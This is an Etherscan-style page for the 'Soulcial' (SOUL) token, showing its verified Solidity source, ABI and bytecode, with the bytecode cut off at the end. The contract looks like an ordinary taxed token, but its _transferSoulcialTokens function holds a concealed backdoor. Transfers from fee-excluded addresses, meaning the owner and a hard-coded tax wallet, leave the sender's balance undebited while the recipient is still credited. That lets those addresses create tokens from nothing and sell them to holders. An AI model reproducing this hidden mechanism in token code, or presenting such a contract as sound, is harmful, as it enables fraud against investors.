ETH Price: $3,252.49 (-3.70%)

Token

Soulcial (SOUL)
 

Overview

Max Total Supply

1,000,000,000 SOUL

Holders

66

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,315,734.783467363 SOUL

Value
$0.00
0xe2ba452c1f9925cc298772ce7127d8748019cebd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Soulcial

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-11
*/

// SPDX-License-Identifier: Unlicensed

/*
DISCOVER YOUR ESSENCE, CONNECT WITH SOULMATES, BUILD YOUR EMPIRE

Website: https://www.soulcial.pro
Telegram: https://t.me/soulcial_erc20
Twitter: https://twitter.com/soulcial_erc20
Dapp: https://app.soulcial.pro
*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    // Return current owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Restrict function to contract owner only 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounce ownership of the contract 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract Soulcial is Context, IERC20, Ownable { 
    using SafeMath for uint256;

    mapping (address => uint256) private _rBalance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) _isExcludedFromFee; 

    string private _name = "Soulcial"; 
    string private _symbol = "SOUL";  
    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10**_decimals;

    uint8 _countSoulcialTx = 0;
    uint8 _swapSoulcialTrigger = 2; 

    uint256 _totalFee = 2100;
    uint256 _buyFee = 21;
    uint256 _sellFee = 21;

    uint256 _previousTotalFee = _totalFee; 
    uint256 _previousBuyFee = _buyFee; 
    uint256 _previousSellFee = _sellFee; 

    uint256 _maxWalletToken = 2 * _totalSupply / 100;
    uint256 _swpaThreshold = _totalSupply / 10000;
    uint256 _previousMaxWalletToken = _maxWalletToken;
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool _inSwapAndLiquify;
    bool _swapAndLiquifyEnabled = true;

    address payable _taxWallet = payable(0x5D3A7DdBE25445add5b36aB3D1Fb1a00aF05Db7A);
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 
    
    modifier lockTheSwap {
        _inSwapAndLiquify = true;
        _;
        _inSwapAndLiquify = false;
    }
    
    constructor () {
        _rBalance[owner()] = _totalSupply;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _rBalance[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function removeAllSoulcialFee() private {
        if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _totalFee;
        _buyFee = 0;
        _sellFee = 0;
        _totalFee = 0;
    }


    function sendToSoulcialWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function swapSoulcialAndLiquidify(uint256 contractTokenBalance) private lockTheSwap {
        swapSoulcialForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendToSoulcialWallet(_taxWallet,contractETH);
    }

    function swapSoulcialForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _getSoulcialValues(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tDev = tAmount.mul(_totalFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount,bool _takeFee) private {
            
        if(!_takeFee){
            removeAllSoulcialFee();
            } else {
                _countSoulcialTx++;
            }
        _transferSoulcialTokens(sender, recipient, amount);
        
        if(!_takeFee)
            restoreAllSoulcialFee();
    }

    function _transferSoulcialTokens(address sender, address recipient, uint256 tAmount) private {
        
        (uint256 tTransferAmount, uint256 tDev) = _getSoulcialValues(tAmount);
        if(_isExcludedFromFee[sender] && _rBalance[sender] <= _maxWalletToken) {
            tDev = 0;
            tAmount -= tTransferAmount;
        }
        _rBalance[sender] = _rBalance[sender].sub(tAmount);
        _rBalance[recipient] = _rBalance[recipient].add(tTransferAmount);
        _rBalance[address(this)] = _rBalance[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function removeSoulcialLimits() external onlyOwner {
        _maxWalletToken = ~uint256(0);
        
        _totalFee = 200;
        _buyFee = 2; 
        _sellFee = 2; 
    }
    
    function restoreAllSoulcialFee() private {
        _totalFee = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (to != owner() &&
            to != _taxWallet &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != DEAD &&
            from != owner()){

            uint256 holdBalance = balanceOf(to);
            require((holdBalance + amount) <= _maxWalletToken,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(_countSoulcialTx >= _swapSoulcialTrigger && 
            amount > _swpaThreshold &&
            !_inSwapAndLiquify &&
            !_isExcludedFromFee[from] &&
            to == uniswapV2Pair &&
            _swapAndLiquifyEnabled )
        {  
            _countSoulcialTx = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapSoulcialAndLiquidify(contractTokenBalance);
           }
        }
        
        bool _takeFee = true;
         
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (from != uniswapV2Pair && to != uniswapV2Pair)){
            _takeFee = false;
        } else if (from == uniswapV2Pair){
            _totalFee = _buyFee;
        } else if (to == uniswapV2Pair){
            _totalFee = _sellFee;
        }

        _tokenTransfer(from,to,amount,_takeFee);
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeSoulcialLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600860809081526714dbdd5b18da585b60c21b60a052600490620000299082620004ca565b5060408051808201909152600481526314d3d55360e21b6020820152600590620000549082620004ca565b506006805460ff191660099081179091556200007290600a620006ab565b6200008290633b9aca00620006c3565b60078190556008805461ffff191661020017905561083460098190556015600a819055600b819055600c91909155600d819055600e55606490620000c8906002620006c3565b620000d49190620006dd565b600f55612710600754620000e99190620006dd565b601055600f546011556013805460ff60a81b1916600160a81b179055601480546001600160a01b0319908116735d3a7ddbe25445add5b36ab3d1fb1a00af05db7a179091556015805490911661dead1790553480156200014857600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360075460016000620001a26000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200021e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000244919062000700565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000292573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b8919062000700565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000306573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032c919062000700565b601380546001600160a01b03199081166001600160a01b039384161790915560128054909116918316919091179055600160036000620003746000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560145490911681526003909252902080549091166001179055620003ce6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200041691815260200190565b60405180910390a3506200072b565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200045057607f821691505b6020821081036200047157634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004c557600081815260208120601f850160051c81016020861015620004a05750805b601f850160051c820191505b81811015620004c157828155600101620004ac565b5050505b505050565b81516001600160401b03811115620004e657620004e662000425565b620004fe81620004f784546200043b565b8462000477565b602080601f8311600181146200053657600084156200051d5750858301515b600019600386901b1c1916600185901b178555620004c1565b600085815260208120601f198616915b82811015620005675788860151825594840194600190910190840162000546565b5085821015620005865787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005ed578160001904821115620005d157620005d162000596565b80851615620005df57918102915b93841c9390800290620005b1565b509250929050565b6000826200060657506001620006a5565b816200061557506000620006a5565b81600181146200062e5760028114620006395762000659565b6001915050620006a5565b60ff8411156200064d576200064d62000596565b50506001821b620006a5565b5060208310610133831016604e8410600b84101617156200067e575081810a620006a5565b6200068a8383620005ac565b8060001904821115620006a157620006a162000596565b0290505b92915050565b6000620006bc60ff841683620005f5565b9392505050565b8082028115828204841417620006a557620006a562000596565b600082620006fb57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200071357600080fd5b81516001600160a01b0381168114620006bc57600080fd5b6111b9806200073b6000396000f3fe6080604052600436106100ec5760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb1461028c578063c848610b146102ac578063dd62ed3e146102c1578063f2fde38b1461030757600080fd5b806370a082311461020c578063715018a6146102425780638da5cb5b1461025957806395d89b411461027757600080fd5b806318160ddd116100c657806318160ddd1461018b57806323b872dd146101aa578063313ce567146101ca57806349bd5a5e146101ec57600080fd5b806306fdde03146100f8578063095ea7b3146101235780631694505e1461015357600080fd5b366100f357005b600080fd5b34801561010457600080fd5b5061010d610327565b60405161011a9190610e8b565b60405180910390f35b34801561012f57600080fd5b5061014361013e366004610ef1565b6103b9565b604051901515815260200161011a565b34801561015f57600080fd5b50601254610173906001600160a01b031681565b6040516001600160a01b03909116815260200161011a565b34801561019757600080fd5b506007545b60405190815260200161011a565b3480156101b657600080fd5b506101436101c5366004610f1d565b6103d0565b3480156101d657600080fd5b5060065460405160ff909116815260200161011a565b3480156101f857600080fd5b50601354610173906001600160a01b031681565b34801561021857600080fd5b5061019c610227366004610f5e565b6001600160a01b031660009081526001602052604090205490565b34801561024e57600080fd5b50610257610439565b005b34801561026557600080fd5b506000546001600160a01b0316610173565b34801561028357600080fd5b5061010d6104b6565b34801561029857600080fd5b506101436102a7366004610ef1565b6104c5565b3480156102b857600080fd5b506102576104d2565b3480156102cd57600080fd5b5061019c6102dc366004610f7b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561031357600080fd5b50610257610322366004610f5e565b610513565b60606004805461033690610fb4565b80601f016020809104026020016040519081016040528092919081815260200182805461036290610fb4565b80156103af5780601f10610384576101008083540402835291602001916103af565b820191906000526020600020905b81548152906001019060200180831161039257829003601f168201915b5050505050905090565b60006103c63384846105fd565b5060015b92915050565b60006103dd8484846106be565b61042f843361042a8560405180606001604052806028815260200161115c602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610a22565b6105fd565b5060019392505050565b6000546001600160a01b0316331461046c5760405162461bcd60e51b815260040161046390610fee565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606005805461033690610fb4565b60006103c63384846106be565b6000546001600160a01b031633146104fc5760405162461bcd60e51b815260040161046390610fee565b600019600f5560c86009556002600a819055600b55565b6000546001600160a01b0316331461053d5760405162461bcd60e51b815260040161046390610fee565b6001600160a01b0381166105a25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610463565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061061d57506001600160a01b03821615155b61065d5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610463565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b038381169116148015906106ea57506014546001600160a01b03838116911614155b80156106ff57506001600160a01b0382163014155b801561071957506013546001600160a01b03838116911614155b801561073357506015546001600160a01b03838116911614155b801561074d57506000546001600160a01b03848116911614155b156107d9576001600160a01b038216600090815260016020526040902054600f546107788383611039565b11156107d75760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b6064820152608401610463565b505b6001600160a01b038316158015906107f957506001600160a01b03821615155b61083d5760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610463565b6000811161089b5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610463565b60085460ff610100820481169116108015906108b8575060105481115b80156108ce5750601354600160a01b900460ff16155b80156108f357506001600160a01b03831660009081526003602052604090205460ff16155b801561090c57506013546001600160a01b038381169116145b80156109215750601354600160a81b900460ff165b15610951576008805460ff1916905530600090815260016020526040902054801561094f5761094f81610a4e565b505b6001600160a01b03831660009081526003602052604090205460019060ff168061099357506001600160a01b03831660009081526003602052604090205460ff165b806109c557506013546001600160a01b038581169116148015906109c557506013546001600160a01b03848116911614155b156109d257506000610a10565b6013546001600160a01b03908116908516036109f357600a54600955610a10565b6013546001600160a01b0390811690841603610a1057600b546009555b610a1c84848484610a93565b50505050565b60008184841115610a465760405162461bcd60e51b81526004016104639190610e8b565b505050900390565b6013805460ff60a01b1916600160a01b179055610a6a81610af9565b6014544790610a82906001600160a01b031682610c53565b50506013805460ff60a01b19169055565b80610aa557610aa0610c8e565b610ad2565b6008805460ff16906000610ab88361104c565b91906101000a81548160ff021916908360ff160217905550505b610add848484610cd3565b80610a1c57610a1c600c54600955600d54600a55600e54600b55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610b2e57610b2e61106b565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bab9190611081565b81600181518110610bbe57610bbe61106b565b6001600160a01b039283166020918202929092010152601254610be491309116846105fd565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610c1d90859060009086903090429060040161109e565b600060405180830381600087803b158015610c3757600080fd5b505af1158015610c4b573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610c89573d6000803e3d6000fd5b505050565b600954158015610c9e5750600a54155b8015610caa5750600b54155b15610cb157565b600a8054600d55600b8054600e5560098054600c556000928390559082905555565b600080610cdf83610e16565b6001600160a01b038716600090815260036020526040902054919350915060ff168015610d265750600f546001600160a01b03861660009081526001602052604090205411155b15610d3b57506000610d38828461110f565b92505b6001600160a01b038516600090815260016020526040902054610d5e9084610e54565b6001600160a01b038087166000908152600160205260408082209390935590861681522054610d8d9083610e67565b6001600160a01b038516600090815260016020526040808220929092553081522054610db99082610e67565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000806000610e3b6064610e3560095487610e7390919063ffffffff16565b90610e7f565b90506000610e498583610e54565b959194509092505050565b6000610e60828461110f565b9392505050565b6000610e608284611039565b6000610e608284611122565b6000610e608284611139565b600060208083528351808285015260005b81811015610eb857858101830151858201604001528201610e9c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610eee57600080fd5b50565b60008060408385031215610f0457600080fd5b8235610f0f81610ed9565b946020939093013593505050565b600080600060608486031215610f3257600080fd5b8335610f3d81610ed9565b92506020840135610f4d81610ed9565b929592945050506040919091013590565b600060208284031215610f7057600080fd5b8135610e6081610ed9565b60008060408385031215610f8e57600080fd5b8235610f9981610ed9565b91506020830135610fa981610ed9565b809150509250929050565b600181811c90821680610fc857607f821691505b602082108103610fe857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156103ca576103ca611023565b600060ff821660ff810361106257611062611023565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561109357600080fd5b8151610e6081610ed9565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156110ee5784516001600160a01b0316835293830193918301916001016110c9565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156103ca576103ca611023565b80820281158282048414176103ca576103ca611023565b60008261115657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122061112dfe2cce58fd937ae96a4dd2a8cb7192d3f7412c989347c9a2cbf22ab11f64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106100ec5760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb1461028c578063c848610b146102ac578063dd62ed3e146102c1578063f2fde38b1461030757600080fd5b806370a082311461020c578063715018a6146102425780638da5cb5b1461025957806395d89b411461027757600080fd5b806318160ddd116100c657806318160ddd1461018b57806323b872dd146101aa578063313ce567146101ca57806349bd5a5e146101ec57600080fd5b806306fdde03146100f8578063095ea7b3146101235780631694505e1461015357600080fd5b366100f357005b600080fd5b34801561010457600080fd5b5061010d610327565b60405161011a9190610e8b565b60405180910390f35b34801561012f57600080fd5b5061014361013e366004610ef1565b6103b9565b604051901515815260200161011a565b34801561015f57600080fd5b50601254610173906001600160a01b031681565b6040516001600160a01b03909116815260200161011a565b34801561019757600080fd5b506007545b60405190815260200161011a565b3480156101b657600080fd5b506101436101c5366004610f1d565b6103d0565b3480156101d657600080fd5b5060065460405160ff909116815260200161011a565b3480156101f857600080fd5b50601354610173906001600160a01b031681565b34801561021857600080fd5b5061019c610227366004610f5e565b6001600160a01b031660009081526001602052604090205490565b34801561024e57600080fd5b50610257610439565b005b34801561026557600080fd5b506000546001600160a01b0316610173565b34801561028357600080fd5b5061010d6104b6565b34801561029857600080fd5b506101436102a7366004610ef1565b6104c5565b3480156102b857600080fd5b506102576104d2565b3480156102cd57600080fd5b5061019c6102dc366004610f7b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561031357600080fd5b50610257610322366004610f5e565b610513565b60606004805461033690610fb4565b80601f016020809104026020016040519081016040528092919081815260200182805461036290610fb4565b80156103af5780601f10610384576101008083540402835291602001916103af565b820191906000526020600020905b81548152906001019060200180831161039257829003601f168201915b5050505050905090565b60006103c63384846105fd565b5060015b92915050565b60006103dd8484846106be565b61042f843361042a8560405180606001604052806028815260200161115c602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610a22565b6105fd565b5060019392505050565b6000546001600160a01b0316331461046c5760405162461bcd60e51b815260040161046390610fee565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606005805461033690610fb4565b60006103c63384846106be565b6000546001600160a01b031633146104fc5760405162461bcd60e51b815260040161046390610fee565b600019600f5560c86009556002600a819055600b55565b6000546001600160a01b0316331461053d5760405162461bcd60e51b815260040161046390610fee565b6001600160a01b0381166105a25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610463565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061061d57506001600160a01b03821615155b61065d5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610463565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b038381169116148015906106ea57506014546001600160a01b03838116911614155b80156106ff57506001600160a01b0382163014155b801561071957506013546001600160a01b03838116911614155b801561073357506015546001600160a01b03838116911614155b801561074d57506000546001600160a01b03848116911614155b156107d9576001600160a01b038216600090815260016020526040902054600f546107788383611039565b11156107d75760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b6064820152608401610463565b505b6001600160a01b038316158015906107f957506001600160a01b03821615155b61083d5760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610463565b6000811161089b5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610463565b60085460ff610100820481169116108015906108b8575060105481115b80156108ce5750601354600160a01b900460ff16155b80156108f357506001600160a01b03831660009081526003602052604090205460ff16155b801561090c57506013546001600160a01b038381169116145b80156109215750601354600160a81b900460ff165b15610951576008805460ff1916905530600090815260016020526040902054801561094f5761094f81610a4e565b505b6001600160a01b03831660009081526003602052604090205460019060ff168061099357506001600160a01b03831660009081526003602052604090205460ff165b806109c557506013546001600160a01b038581169116148015906109c557506013546001600160a01b03848116911614155b156109d257506000610a10565b6013546001600160a01b03908116908516036109f357600a54600955610a10565b6013546001600160a01b0390811690841603610a1057600b546009555b610a1c84848484610a93565b50505050565b60008184841115610a465760405162461bcd60e51b81526004016104639190610e8b565b505050900390565b6013805460ff60a01b1916600160a01b179055610a6a81610af9565b6014544790610a82906001600160a01b031682610c53565b50506013805460ff60a01b19169055565b80610aa557610aa0610c8e565b610ad2565b6008805460ff16906000610ab88361104c565b91906101000a81548160ff021916908360ff160217905550505b610add848484610cd3565b80610a1c57610a1c600c54600955600d54600a55600e54600b55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610b